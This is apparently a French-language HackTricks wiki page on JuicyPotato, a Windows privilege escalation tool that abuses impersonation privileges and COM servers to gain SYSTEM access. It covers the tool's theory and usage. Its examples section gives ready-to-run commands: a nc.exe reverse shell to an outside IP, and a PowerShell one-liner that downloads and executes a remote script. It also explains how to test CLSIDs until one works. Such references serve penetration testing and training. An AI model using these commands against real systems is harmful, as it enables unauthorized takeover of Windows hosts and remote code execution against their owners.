hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2023-06-03 13:10:46 +00:00

11 KiB

JuicyPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

{% hint style="warning" %} JuicyPotato ne fonctionne pas sur Windows Server 2019 et Windows 10 build 1809 et plus. Cependant, PrintSpoofer, RoguePotato, SharpEfsPotato peuvent être utilisés pour exploiter les mêmes privilèges et obtenir un accès de niveau NT AUTHORITY\SYSTEM. Vérifier : {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (abus des privilèges dorés)

Une version sucrée de RottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'escalade de privilèges locaux, à partir de comptes de service Windows vers NT AUTHORITY\SYSTEM

Vous pouvez télécharger juicypotato depuis https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Résumé

RottenPotatoNG et ses variantes exploitent la chaîne d'escalade de privilèges basée sur le service BITS service ayant l'écouteur MiTM sur 127.0.0.1:6666 et lorsque vous avez les privilèges SeImpersonate ou SeAssignPrimaryToken. Lors d'une revue de construction Windows, nous avons trouvé une configuration où BITS était intentionnellement désactivé et le port 6666 était pris.

Nous avons décidé de transformer RottenPotatoNG en arme : Dites bonjour à Juicy Potato.

Pour la théorie, voir Rotten Potato - Escalade de privilèges à partir de comptes de service vers SYSTEM et suivre la chaîne de liens et de références.

Nous avons découvert qu'en dehors de BITS, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :

  1. être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'impersonation
  2. implémenter l'interface IMarshal
  3. s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrateur, ...)

Après quelques tests, nous avons obtenu et testé une liste étendue de CLSID intéressants sur plusieurs versions de Windows.

Détails juteux

JuicyPotato vous permet de :

  • Cibler CLSID choisissez n'importe quel CLSID que vous voulez. Ici vous pouvez trouver la liste organisée par OS.
  • Port d'écoute COM définir le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)
  • Adresse IP d'écoute COM lier le serveur sur n'importe quelle IP
  • Mode de création de processus en fonction des privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :
    • CreateProcessWithToken (nécessite SeImpersonate)
    • CreateProcessAsUser (nécessite SeAssignPrimaryToken)
    • les deux
  • Processus à lancer lancer un exécutable ou un script si l'exploitation réussit
  • Argument de processus personnaliser les arguments du processus lancé
  • Adresse du serveur RPC pour une approche furtive, vous pouvez vous authentifier auprès d'un serveur RPC externe
  • Port du serveur RPC utile si vous voulez vous authentifier auprès d'un serveur externe et que le pare-feu bloque le port 135...
  • Mode TEST principalement à des fins de test, c'est-à-dire tester les CLSID. Il crée le DCOM et imprime l'utilisateur du jeton. Voir ici pour les tests

Utilisation

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Réflexions finales

Si l'utilisateur dispose des privilèges SeImpersonate ou SeAssignPrimaryToken, alors vous êtes SYSTEM.

Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les autorisations de ces objets via DCOMCNFG, mais bonne chance, cela va être difficile.

La solution réelle consiste à protéger les comptes et les applications sensibles qui s'exécutent sous les comptes * SERVICE. L'arrêt de DCOM inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.

À partir de : http://ohpe.it/juicy-potato/

Exemples

Note : Visitez cette page pour une liste de CLSID à essayer.

Obtenir un shell inversé nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell inversé

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Lancer une nouvelle CMD (si vous avez accès RDP)

Problèmes de CLSID

Souvent, le CLSID par défaut que JuicyPotato utilise ne fonctionne pas et l'exploit échoue. Habituellement, il faut plusieurs tentatives pour trouver un CLSID fonctionnel. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Vérification des CLSID

Tout d'abord, vous aurez besoin de certains exécutables en plus de juicypotato.exe.

Téléchargez Join-Object.ps1 et chargez-le dans votre session PS, et téléchargez et exécutez GetCLSID.ps1. Ce script créera une liste de CLSID possibles à tester.

Ensuite, téléchargez test_clsid.bat (changez le chemin vers la liste CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et lorsque le numéro de port change, cela signifie que le CLSID a fonctionné.

Vérifiez les CLSID fonctionnels en utilisant le paramètre -c

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥